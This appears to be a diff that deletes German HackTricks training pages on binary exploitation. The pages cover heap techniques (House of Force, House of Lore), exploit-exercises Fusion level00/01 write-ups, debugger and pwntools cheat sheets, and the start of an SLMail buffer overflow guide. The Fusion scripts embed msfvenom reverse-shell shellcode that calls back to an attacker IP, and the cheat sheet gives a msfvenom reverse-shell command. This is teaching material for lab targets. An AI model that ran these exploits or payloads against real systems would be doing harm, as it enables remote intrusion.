So könnten wir diesen Zeiger dorthin zeigen lassen, wo immer wir wollen. Allerdings ist nicht jeder Ort gültig, die Größe des gefälschten Stücks muss kleiner als av->max_fast und spezifisch gleich der Größe sein, die in einem zukünftigen Aufruf von malloc()+8 angefordert wird. Daher, wenn wir wissen, dass nach diesem anfälligen Zeiger malloc(40) aufgerufen wird, muss die Größe des gefälschten Stücks gleich 48 sein.
|
||||
|
||||
Wenn das Programm beispielsweise den Benutzer nach einer Zahl fragt, könnten wir 48 eingeben und den veränderbaren malloc-Zeiger auf die nächsten 4 Bytes zeigen (die mit etwas Glück zum EBP gehören könnten, sodass die 48 dahinter bleibt, als ob es die Kopfzeile size wäre). Außerdem muss die Adresse ptr-4+48 mehrere Bedingungen erfüllen (in diesem Fall ist ptr=EBP), d.h. 8 < ptr-4+48 < av->system_mem.
|
||||
|
||||
Wenn dies erfüllt ist, wird bei dem nächsten malloc, das wir gesagt haben, dass es malloc(40) ist, die Adresse des EBP zugewiesen. Wenn der Angreifer auch kontrollieren kann, was in diesem malloc geschrieben wird, kann er sowohl das EBP als auch das EIP mit der gewünschten Adresse überschreiben.
|
||||
|
||||
Ich glaube, das liegt daran, dass, wenn es freigegeben wird, free() speichern wird, dass an der Adresse, die auf das EBP des Stacks zeigt, ein Stück mit der perfekten Größe für den neuen malloc() reserviert werden soll, sodass ihm diese Adresse zugewiesen wird.
|
||||
|
||||
**The House of Force**
|
||||
|
||||
Es ist notwendig:
|
||||
|
||||
- Ein Überlauf zu einem Stück, das das Wilderness überschreiben kann.
|
||||
- Ein Aufruf von malloc() mit der vom Benutzer definierten Größe.
|
||||
- Ein Aufruf von malloc(), dessen Daten vom Benutzer definiert werden können.
|
||||
|
||||
Zuerst wird die Größe des Wilderness-Stücks mit einem sehr großen Wert (0xffffffff) überschrieben, sodass jede ausreichend große Speicheranforderung in \_int_malloc() behandelt wird, ohne den Heap erweitern zu müssen.
|
||||
|
||||
Zweitens wird av->top so verändert, dass es auf einen Speicherbereich zeigt, der unter der Kontrolle des Angreifers steht, wie den Stack. In av->top wird \&EIP - 8 gesetzt.
|
||||
|
||||
Wir müssen av->top überschreiben, damit es auf den Speicherbereich zeigt, der unter der Kontrolle des Angreifers steht:
|
||||
|
||||
victim = av->top;
|
||||
|
||||
remainder = chunk_at_offset(victim, nb);
|
||||
|
||||
av->top = remainder;
|
||||
|
||||
Victim speichert den Wert der Adresse des aktuellen Wilderness-Stücks (das aktuelle av->top) und remainder ist genau die Summe dieser Adresse plus die Anzahl der Bytes, die von malloc() angefordert werden. Wenn also \&EIP-8 bei 0xbffff224 und av->top 0x080c2788 enthält, dann ist die Menge, die wir im kontrollierten malloc reservieren müssen, damit av->top auf $EIP-8 für den nächsten malloc() zeigt:
|
||||
|
||||
0xbffff224 - 0x080c2788 = 3086207644.
|
||||
|
||||
So wird der veränderte Wert in av->top gespeichert und der nächste malloc zeigt auf das EIP und kann es überschreiben.
|
||||
|
||||
Es ist wichtig zu wissen, dass die Größe des neuen Wilderness-Stücks größer sein muss als die vom letzten malloc() angeforderte. Das heißt, wenn das Wilderness auf \&EIP-8 zeigt, wird die Größe genau im EBP-Feld des Stacks landen.
|
||||
|
||||
**The House of Lore**
|
||||
|
||||
**SmallBin-Korruption**
|
||||
|
||||
Die freigegebenen Stücke werden in den Bin basierend auf ihrer Größe eingefügt. Aber bevor sie eingefügt werden, werden sie in unsorted bins gespeichert. Ein Stück wird freigegeben, wird nicht sofort in seinen Bin eingefügt, sondern bleibt in unsorted bins. Wenn dann ein neues Stück reserviert wird und das vorherige freigegebene nützlich sein kann, wird es zurückgegeben, aber wenn ein größeres reserviert wird, wird das freigegebene Stück in den entsprechenden Bin eingefügt.
|
||||
|
||||
Um den anfälligen Code zu erreichen, muss die Speicheranforderung größer als av->max_fast (normalerweise 72) und kleiner als MIN_LARGE_SIZE (512) sein.
|
||||
|
||||
Wenn im Bin ein Stück der geeigneten Größe vorhanden ist, wird dieses nach dem Entkoppeln zurückgegeben:
|
||||
|
||||
bck = victim->bk; Zeigt auf das vorherige Stück, es ist die einzige Info, die wir ändern können.
|
||||
|
||||
bin->bk = bck; Das vorletzte Stück wird das letzte, falls bck auf den Stack zeigt, wird die nächste reservierte Stück diese Adresse erhalten.
|
||||
|
||||
bck->fd = bin; Die Liste wird geschlossen, sodass dieses auf bin zeigt.
|
||||
|
||||
Es wird benötigt:
|
||||
|
||||
Dass zwei malloc reserviert werden, sodass der erste überlaufen werden kann, nachdem der zweite freigegeben und in seinen Bin eingefügt wurde (d.h. ein größerer malloc reserviert wurde, bevor der Überlauf erfolgt).
|
||||
|
||||
Dass der malloc, dem die vom Angreifer gewählte Adresse zugewiesen wird, vom Angreifer kontrolliert wird.
|
||||
|
||||
Das Ziel ist folgendes: Wenn wir einen Überlauf zu einem Heap machen, der darunter ein bereits freigegebenes Stück hat und in seinem Bin ist, können wir seinen bk-Zeiger ändern. Wenn wir seinen bk-Zeiger ändern und dieses Stück das erste in der Bin wird und reserviert wird, wird bin getäuscht und ihm gesagt, dass das letzte Stück der Liste (das nächste, das angeboten wird) an die falsche Adresse zeigt, die wir gesetzt haben (zum Beispiel auf den Stack oder GOT). Wenn dann ein weiteres Stück reserviert wird und der Angreifer Berechtigungen dafür hat, wird ihm ein Stück an der gewünschten Position zugewiesen und er kann darin schreiben.
|
||||
|
||||
Nachdem das modifizierte Stück freigegeben wurde, muss ein Stück reserviert werden, das größer ist als das freigegebene, sodass das modifizierte Stück aus den unsorted bins herauskommt und in seinen Bin eingefügt wird.
|
||||
|
||||
Sobald es in seinem Bin ist, ist es an der Zeit, seinen bk-Zeiger durch den Überlauf zu ändern, sodass er auf die Adresse zeigt, die wir überschreiben möchten.
|
||||
|
||||
So muss der Bin warten, bis malloc() oft genug aufgerufen wird, damit der modifizierte Bin erneut verwendet wird und bin getäuscht wird, indem ihm gesagt wird, dass das nächste Stück an der falschen Adresse ist. Und dann wird das Stück, das uns interessiert, zurückgegeben.
|
||||
|
||||
Um die Verwundbarkeit so schnell wie möglich auszuführen, wäre es ideal: Reservierung des anfälligen Stücks, Reservierung des Stücks, das modifiziert werden soll, Freigabe dieses Stücks, Reservierung eines größeren Stücks, das modifiziert werden soll, Modifikation des Stücks (Verwundbarkeit), Reservierung eines Stücks der gleichen Größe wie das verwundete und Reservierung eines zweiten Stücks der gleichen Größe, und dieses wird auf die gewählte Adresse zeigen.
|
||||
|
||||
Um diesen Angriff zu schützen, wurde die typische Überprüfung verwendet, dass das Stück “nicht” gefälscht ist: Es wird überprüft, ob bck->fd auf victim zeigt. Das heißt, in unserem Fall, ob der Zeiger fd\* des gefälschten Stücks, das im Stack gezeigt wird, auf victim zeigt. Um diesen Schutz zu umgehen, müsste der Angreifer in der Lage sein, irgendwie (wahrscheinlich über den Stack) an die richtige Adresse die Adresse von victim zu schreiben. Damit es wie ein echtes Stück aussieht.
|
||||
|
||||
**LargeBin-Korruption**
|
||||
|
||||
Die gleichen Anforderungen wie zuvor sind erforderlich, plus einige mehr, außerdem müssen die reservierten Stücke größer als 512 sein.
|
||||
|
||||
Der Angriff ist wie der vorherige, das heißt, der bk-Zeiger muss geändert werden und es sind all diese Aufrufe zu malloc() erforderlich, aber außerdem muss die Größe des modifizierten Stücks so geändert werden, dass diese Größe - nb < MINSIZE ist.
|
||||
|
||||
Zum Beispiel wird es bewirken, dass die Größe auf 1552 gesetzt wird, damit 1552 - 1544 = 8 < MINSIZE (die Subtraktion darf nicht negativ sein, da ein unsigned verglichen wird).
|
||||
|
||||
Außerdem wurde ein Patch eingeführt, um es noch komplizierter zu machen.
|
||||
|
||||
**Heap Spraying**
|
||||
|
||||
Es besteht im Wesentlichen darin, so viel Speicher wie möglich für Heaps zu reservieren und diese mit einer Matratze aus NOPs zu füllen, gefolgt von einer Shellcode. Außerdem wird als Matratze 0x0c verwendet. Es wird versucht, zur Adresse 0x0c0c0c0c zu springen, und wenn eine Adresse überschrieben wird, die aufgerufen werden soll, wird dorthin gesprungen. Grundsätzlich ist die Taktik, so viel wie möglich zu reservieren, um zu sehen, ob ein Zeiger überschrieben wird und zu 0x0c0c0c0c zu springen, in der Hoffnung, dass dort NOPs sind.
|
||||
|
||||
**Heap Feng Shui**
|
||||
|
||||
Es besteht darin, durch Reservierungen und Freigaben den Speicher so zu säen, dass reservierte Stücke zwischen freien Stücke liegen. Der Buffer, der überlaufen soll, wird in einem der Eier platziert.
|
||||
|
||||
**objdump -d ausführbare Datei** —> Disassembliere Funktionen\
|
||||
**objdump -d ./PROGRAMA | grep FUNKTION** —> Hole die Funktionsadresse\
|
||||
**objdump -d -Mintel ./shellcodeout** —> Um zu sehen, dass es tatsächlich unsere Shellcode ist und die OpCodes zu extrahieren\
|
||||
**objdump -t ./exec | grep varBss** —> Symboltabelle, um die Adresse von Variablen und Funktionen zu extrahieren\
|
||||
**objdump -TR ./exec | grep exit(func lib)** —> Um die Adresse von Bibliotheksfunktionen (GOT) zu extrahieren\
|
||||
**objdump -d ./exec | grep funcCode**\
|
||||
**objdump -s -j .dtors /exec**\
|
||||
**objdump -s -j .got ./exec**\
|
||||
**objdump -t --dynamic-relo ./exec | grep puts** —> Gibt die Adresse von puts zurück, die in der GOT überschrieben werden soll\
|
||||
**objdump -D ./exec** —> Disassembliere ALLE bis zu den Einträgen der plt\
|
||||
**objdump -p -/exec**\
|
||||
**Info functions strncmp —>** Info zur Funktion in gdb
|
||||
|
||||
## Interessante Kurse
|
||||
|
||||
- [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
|
||||
- [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
|
||||
- [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
|
||||
|
||||
## **Referenzen**
|
||||
|
||||
- [**https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,60 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Level00
|
||||
|
||||
[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/)
|
||||
|
||||
1. Erhalte den Offset, um EIP zu modifizieren
|
||||
2. Setze die Shellcode-Adresse in EIP
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
r = remote("192.168.85.181", 20000)
|
||||
|
||||
buf = "GET " # Needed
|
||||
buf += "A"*139 # Offset 139
|
||||
buf += p32(0xbffff440) # Stack address where the shellcode will be saved
|
||||
buf += " HTTP/1.1" # Needed
|
||||
buf += "\x90"*100 # NOPs
|
||||
|
||||
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
|
||||
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
|
||||
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
|
||||
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
|
||||
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
|
||||
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
|
||||
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
|
||||
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
|
||||
buf += "\x65\xd9\x0f\x01"
|
||||
|
||||
r.recvline()
|
||||
r.send(buf)
|
||||
r.interactive()
|
||||
```
|
||||
# Level01
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
r = remote("192.168.85.181", 20001)
|
||||
|
||||
buf = "GET " # Needed
|
||||
buf += "A"*139 # Offset 139
|
||||
buf += p32(0x08049f4f) # Adress of: JMP esp
|
||||
buf += p32(0x9090E6FF) # OPCODE: JMP esi (the esi register have the address of the shellcode)
|
||||
buf += " HTTP/1.1" # Needed
|
||||
buf += "\x90"*100 # NOPs
|
||||
|
||||
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
|
||||
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
|
||||
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
|
||||
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
|
||||
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
|
||||
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
|
||||
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
|
||||
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
|
||||
buf += "\x65\xd9\x0f\x01"
|
||||
|
||||
r.send(buf)
|
||||
r.interactive()
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,210 +0,0 @@
|
||||
# Exploiting Tools
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Metasploit
|
||||
```
|
||||
pattern_create.rb -l 3000 #Length
|
||||
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
|
||||
nasm_shell.rb
|
||||
nasm> jmp esp #Get opcodes
|
||||
msfelfscan -j esi /opt/fusion/bin/level01
|
||||
```
|
||||
### Shellcodes
|
||||
```
|
||||
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
|
||||
```
|
||||
## GDB
|
||||
|
||||
### Installieren
|
||||
```
|
||||
apt-get install gdb
|
||||
```
|
||||
### Parameter
|
||||
```bash
|
||||
-q # No show banner
|
||||
-x <file> # Auto-execute GDB instructions from here
|
||||
-p <pid> # Attach to process
|
||||
```
|
||||
### Anweisungen
|
||||
```bash
|
||||
run # Execute
|
||||
start # Start and break in main
|
||||
n/next/ni # Execute next instruction (no inside)
|
||||
s/step/si # Execute next instruction
|
||||
c/continue # Continue until next breakpoint
|
||||
p system # Find the address of the system function
|
||||
set $eip = 0x12345678 # Change value of $eip
|
||||
help # Get help
|
||||
quit # exit
|
||||
|
||||
# Disassemble
|
||||
disassemble main # Disassemble the function called main
|
||||
disassemble 0x12345678 # Disassemble taht address
|
||||
set disassembly-flavor intel # Use intel syntax
|
||||
set follow-fork-mode child/parent # Follow child/parent process
|
||||
|
||||
# Breakpoints
|
||||
br func # Add breakpoint to function
|
||||
br *func+23
|
||||
br *0x12345678
|
||||
del <NUM> # Delete that number of breakpoint
|
||||
watch EXPRESSION # Break if the value changes
|
||||
|
||||
# info
|
||||
info functions --> Info abount functions
|
||||
info functions func --> Info of the funtion
|
||||
info registers --> Value of the registers
|
||||
bt # Backtrace Stack
|
||||
bt full # Detailed stack
|
||||
print variable
|
||||
print 0x87654321 - 0x12345678 # Caculate
|
||||
|
||||
# x/examine
|
||||
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
|
||||
x/o 0xDir_hex
|
||||
x/2x $eip # 2Words from EIP
|
||||
x/2x $eip -4 # $eip - 4
|
||||
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
|
||||
i r eip # Value of $eip
|
||||
x/w pointer # Value of the pointer
|
||||
x/s pointer # String pointed by the pointer
|
||||
x/xw &pointer # Address where the pointer is located
|
||||
x/i $eip # Instructions of the EIP
|
||||
```
|
||||
### [GEF](https://github.com/hugsy/gef)
|
||||
```bash
|
||||
help memory # Get help on memory command
|
||||
canary # Search for canary value in memory
|
||||
checksec #Check protections
|
||||
p system #Find system function address
|
||||
search-pattern "/bin/sh" #Search in the process memory
|
||||
vmmap #Get memory mappings
|
||||
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
|
||||
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
|
||||
got #Check got table
|
||||
memory watch $_got()+0x18 5 #Watch a part of the got table
|
||||
|
||||
# Vulns detection
|
||||
format-string-helper #Detect insecure format strings
|
||||
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
|
||||
|
||||
#Patterns
|
||||
pattern create 200 #Generate length 200 pattern
|
||||
pattern search "avaaawaa" #Search for the offset of that substring
|
||||
pattern search $rsp #Search the offset given the content of $rsp
|
||||
|
||||
#Shellcode
|
||||
shellcode search x86 #Search shellcodes
|
||||
shellcode get 61 #Download shellcode number 61
|
||||
|
||||
#Another way to get the offset of to the RIP
|
||||
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
|
||||
2- ef➤ i f
|
||||
Stack level 0, frame at 0x7fffffffddd0:
|
||||
rip = 0x400cd3; saved rip = 0x6261617762616176
|
||||
called by frame at 0x7fffffffddd8
|
||||
Arglist at 0x7fffffffdcf8, args:
|
||||
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
|
||||
Saved registers:
|
||||
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
|
||||
gef➤ pattern search 0x6261617762616176
|
||||
[+] Searching for '0x6261617762616176'
|
||||
[+] Found at offset 184 (little-endian search) likely
|
||||
```
|
||||
### Tricks
|
||||
|
||||
#### GDB gleiche Adressen
|
||||
|
||||
Während des Debuggens wird GDB **leicht unterschiedliche Adressen als die vom Binärprogramm verwendeten beim Ausführen haben.** Sie können GDB die gleichen Adressen haben lassen, indem Sie Folgendes tun:
|
||||
|
||||
- `unset env LINES`
|
||||
- `unset env COLUMNS`
|
||||
- `set env _=<path>` _Geben Sie den absoluten Pfad zur Binärdatei an_
|
||||
- Exploitieren Sie die Binärdatei unter Verwendung des gleichen absoluten Pfades
|
||||
- `PWD` und `OLDPWD` müssen gleich sein, wenn Sie GDB verwenden und wenn Sie die Binärdatei ausnutzen
|
||||
|
||||
#### Backtrace, um aufgerufene Funktionen zu finden
|
||||
|
||||
Wenn Sie eine **statisch verlinkte Binärdatei** haben, gehören alle Funktionen zur Binärdatei (und nicht zu externen Bibliotheken). In diesem Fall wird es schwierig sein, **den Fluss zu identifizieren, dem die Binärdatei folgt, um beispielsweise nach Benutzereingaben zu fragen.**\
|
||||
Sie können diesen Fluss leicht identifizieren, indem Sie die Binärdatei mit **gdb** ausführen, bis Sie nach Eingaben gefragt werden. Stoppen Sie dann mit **CTRL+C** und verwenden Sie den **`bt`** (**backtrace**) Befehl, um die aufgerufenen Funktionen zu sehen:
|
||||
```
|
||||
gef➤ bt
|
||||
#0 0x00000000004498ae in ?? ()
|
||||
#1 0x0000000000400b90 in ?? ()
|
||||
#2 0x0000000000400c1d in ?? ()
|
||||
#3 0x00000000004011a9 in ?? ()
|
||||
#4 0x0000000000400a5a in ?? ()
|
||||
```
|
||||
### GDB-Server
|
||||
|
||||
`gdbserver --multi 0.0.0.0:23947` (in IDA müssen Sie den absoluten Pfad der ausführbaren Datei auf der Linux-Maschine und auf der Windows-Maschine angeben)
|
||||
|
||||
## Ghidra
|
||||
|
||||
### Stack-Offset finden
|
||||
|
||||
**Ghidra** ist sehr nützlich, um den **Offset** für einen **Buffer Overflow dank der Informationen über die Position der lokalen Variablen zu finden.**\
|
||||
Zum Beispiel zeigt im folgenden Beispiel ein Buffer Overflow in `local_bc`, dass Sie einen Offset von `0xbc` benötigen. Außerdem, wenn `local_10` ein Canary-Cookie ist, zeigt es an, dass zum Überschreiben von `local_bc` ein Offset von `0xac` erforderlich ist.\
|
||||
_ Denken Sie daran, dass die ersten 0x08, von wo der RIP gespeichert wird, zu RBP gehören._
|
||||
|
||||
.png>)
|
||||
|
||||
## GCC
|
||||
|
||||
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kompilieren ohne Schutz\
|
||||
**-o** --> Ausgabe\
|
||||
**-g** --> Code speichern (GDB kann ihn sehen)\
|
||||
**echo 0 > /proc/sys/kernel/randomize_va_space** --> Um das ASLR in Linux zu deaktivieren
|
||||
|
||||
**Um einen Shellcode zu kompilieren:**\
|
||||
**nasm -f elf assembly.asm** --> gibt eine ".o" zurück\
|
||||
**ld assembly.o -o shellcodeout** --> Ausführbar
|
||||
|
||||
## Objdump
|
||||
|
||||
**-d** --> **Disassembliere ausführbare** Abschnitte (siehe Opcodes eines kompilierten Shellcodes, finde ROP Gadgets, finde Funktionsadressen...)\
|
||||
**-Mintel** --> **Intel** Syntax\
|
||||
**-t** --> **Symbol** Tabelle\
|
||||
**-D** --> **Disassembliere alles** (Adresse der statischen Variablen)\
|
||||
**-s -j .dtors** --> dtors Abschnitt\
|
||||
**-s -j .got** --> got Abschnitt\
|
||||
\-D -s -j .plt --> **plt** Abschnitt **dekompiliert**\
|
||||
**-TR** --> **Relocationen**\
|
||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> Adresse von "puts", die in GOT modifiziert werden soll\
|
||||
**objdump -D ./exec | grep "VAR_NAME"** --> Adresse oder eine statische Variable (diese werden im DATA Abschnitt gespeichert).
|
||||
|
||||
## Core Dumps
|
||||
|
||||
1. Führen Sie `ulimit -c unlimited` aus, bevor Sie mein Programm starten
|
||||
2. Führen Sie `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` aus
|
||||
3. sudo gdb --core=\<path/core> --quiet
|
||||
|
||||
## Mehr
|
||||
|
||||
**ldd executable | grep libc.so.6** --> Adresse (wenn ASLR, ändert sich dies jedes Mal)\
|
||||
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Schleife, um zu sehen, ob sich die Adresse stark ändert\
|
||||
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset von "system"\
|
||||
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset von "/bin/sh"
|
||||
|
||||
**strace executable** --> Funktionen, die von der ausführbaren Datei aufgerufen werden\
|
||||
**rabin2 -i ejecutable -->** Adresse aller Funktionen
|
||||
|
||||
## **Inmunity Debugger**
|
||||
```bash
|
||||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||||
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
|
||||
```
|
||||
## IDA
|
||||
|
||||
### Debugging in remote linux
|
||||
|
||||
Im IDA-Ordner finden Sie Binärdateien, die verwendet werden können, um eine Binärdatei in einem Linux zu debuggen. Dazu verschieben Sie die Binärdatei _linux_server_ oder _linux_server64_ auf den Linux-Server und führen Sie sie im Ordner aus, der die Binärdatei enthält:
|
||||
```
|
||||
./linux_server64 -Ppass
|
||||
```
|
||||
Dann konfigurieren Sie den Debugger: Debugger (Linux-Remote) --> Prozessoptionen...:
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,146 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
```
|
||||
pip3 install pwntools
|
||||
```
|
||||
# Pwn asm
|
||||
|
||||
Holen Sie sich Opcodes aus einer Zeile oder Datei.
|
||||
```
|
||||
pwn asm "jmp esp"
|
||||
pwn asm -i <filepath>
|
||||
```
|
||||
**Kann auswählen:**
|
||||
|
||||
- Ausgabetyp (raw, hex, string, elf)
|
||||
- Ausgabedateikontext (16, 32, 64, linux, windows...)
|
||||
- Bytes vermeiden (neue Zeilen, null, eine Liste)
|
||||
- Encoder auswählen, Debug-Shellcode mit gdb ausführen, die Ausgabe
|
||||
|
||||
# **Pwn checksec**
|
||||
|
||||
Checksec-Skript
|
||||
```
|
||||
pwn checksec <executable>
|
||||
```
|
||||
# Pwn constgrep
|
||||
|
||||
# Pwn cyclic
|
||||
|
||||
Erhalte ein Muster
|
||||
```
|
||||
pwn cyclic 3000
|
||||
pwn cyclic -l faad
|
||||
```
|
||||
**Kann auswählen:**
|
||||
|
||||
- Das verwendete Alphabet (Standardmäßig Kleinbuchstaben)
|
||||
- Länge des einzigartigen Musters (Standard 4)
|
||||
- Kontext (16,32,64,linux,windows...)
|
||||
- Offset nehmen (-l)
|
||||
|
||||
# Pwn debug
|
||||
|
||||
GDB an einen Prozess anhängen
|
||||
```
|
||||
pwn debug --exec /bin/bash
|
||||
pwn debug --pid 1234
|
||||
pwn debug --process bash
|
||||
```
|
||||
**Kann auswählen:**
|
||||
|
||||
- Nach ausführbarer Datei, nach Name oder nach PID-Kontext (16,32,64,linux,windows...)
|
||||
- gdbscript auszuführen
|
||||
- sysrootpath
|
||||
|
||||
# Pwn disablenx
|
||||
|
||||
Deaktivieren Sie nx einer Binärdatei
|
||||
```
|
||||
pwn disablenx <filepath>
|
||||
```
|
||||
# Pwn disasm
|
||||
|
||||
Disas hex Opcodes
|
||||
```
|
||||
pwn disasm ffe4
|
||||
```
|
||||
**Kann auswählen:**
|
||||
|
||||
- Kontext (16,32,64,linux,windows...)
|
||||
- Basisadresse
|
||||
- Farbe(Standard)/keine Farbe
|
||||
|
||||
# Pwn elfdiff
|
||||
|
||||
Druckt Unterschiede zwischen 2 Dateien aus
|
||||
```
|
||||
pwn elfdiff <file1> <file2>
|
||||
```
|
||||
# Pwn hex
|
||||
|
||||
Holen Sie sich die hexadezimale Darstellung
|
||||
```bash
|
||||
pwn hex hola #Get hex of "hola" ascii
|
||||
```
|
||||
# Pwn phd
|
||||
|
||||
Hexdump erhalten
|
||||
```
|
||||
pwn phd <file>
|
||||
```
|
||||
**Kann auswählen:**
|
||||
|
||||
- Anzahl der anzuzeigenden Bytes
|
||||
- Anzahl der Bytes pro Zeile hervorgehobenes Byte
|
||||
- Bytes am Anfang überspringen
|
||||
|
||||
# Pwn pwnstrip
|
||||
|
||||
# Pwn scrable
|
||||
|
||||
# Pwn shellcraft
|
||||
|
||||
Shellcodes erhalten
|
||||
```
|
||||
pwn shellcraft -l #List shellcodes
|
||||
pwn shellcraft -l amd #Shellcode with amd in the name
|
||||
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
|
||||
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
|
||||
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
||||
```
|
||||
**Kann auswählen:**
|
||||
|
||||
- Shellcode und Argumente für den Shellcode
|
||||
- Ausgabedatei
|
||||
- Ausgabeformat
|
||||
- Debug (dbg an Shellcode anhängen)
|
||||
- Vor (Debug-Trap vor dem Code)
|
||||
- Nach
|
||||
- Vermeiden von OpCodes (Standard: nicht null und neue Zeile)
|
||||
- Führen Sie den Shellcode aus
|
||||
- Farbe/keine Farbe
|
||||
- Syscalls auflisten
|
||||
- Mögliche Shellcodes auflisten
|
||||
- Generieren Sie ELF als Shared Library
|
||||
|
||||
# Pwn-Vorlage
|
||||
|
||||
Holen Sie sich eine Python-Vorlage
|
||||
```
|
||||
pwn template
|
||||
```
|
||||
**Kann auswählen:** host, port, user, pass, path und quiet
|
||||
|
||||
# Pwn unhex
|
||||
|
||||
Von hex zu string
|
||||
```
|
||||
pwn unhex 686f6c61
|
||||
```
|
||||
# Pwn-Update
|
||||
|
||||
Um pwntools zu aktualisieren
|
||||
```
|
||||
pwn update
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,237 +0,0 @@
|
||||
# Windows Exploiting (Grundlagenleitfaden - OSCP lvl)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Beginnen Sie mit der Installation des SLMail-Dienstes**
|
||||
|
||||
## SLMail-Dienst neu starten
|
||||
|
||||
Jedes Mal, wenn Sie den **Dienst SLMail neu starten** müssen, können Sie dies über die Windows-Konsole tun:
|
||||
```
|
||||
net start slmail
|
||||
```
|
||||
 (1).png>)
|
||||
|
||||
## Sehr grundlegende Python-Exploit-Vorlage
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
|
||||
import socket
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
ip = '10.11.25.153'
|
||||
port = 110
|
||||
|
||||
buffer = 'A' * 2700
|
||||
try:
|
||||
print "\nLaunching exploit..."
|
||||
s.connect((ip, port))
|
||||
data = s.recv(1024)
|
||||
s.send('USER username' +'\r\n')
|
||||
data = s.recv(1024)
|
||||
s.send('PASS ' + buffer + '\r\n')
|
||||
print "\nFinished!."
|
||||
except:
|
||||
print "Could not connect to "+ip+":"+port
|
||||
```
|
||||
## **Ändern Sie die Schriftart des Immunity Debuggers**
|
||||
|
||||
Gehen Sie zu `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
|
||||
|
||||
## **Prozess an den Immunity Debugger anhängen:**
|
||||
|
||||
**Datei --> Anhängen**
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
**Und drücken Sie die START-Taste**
|
||||
|
||||
## **Senden Sie den Exploit und überprüfen Sie, ob EIP betroffen ist:**
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
Jedes Mal, wenn Sie den Dienst unterbrechen, sollten Sie ihn neu starten, wie zu Beginn dieser Seite angegeben.
|
||||
|
||||
## Erstellen Sie ein Muster, um den EIP zu modifizieren
|
||||
|
||||
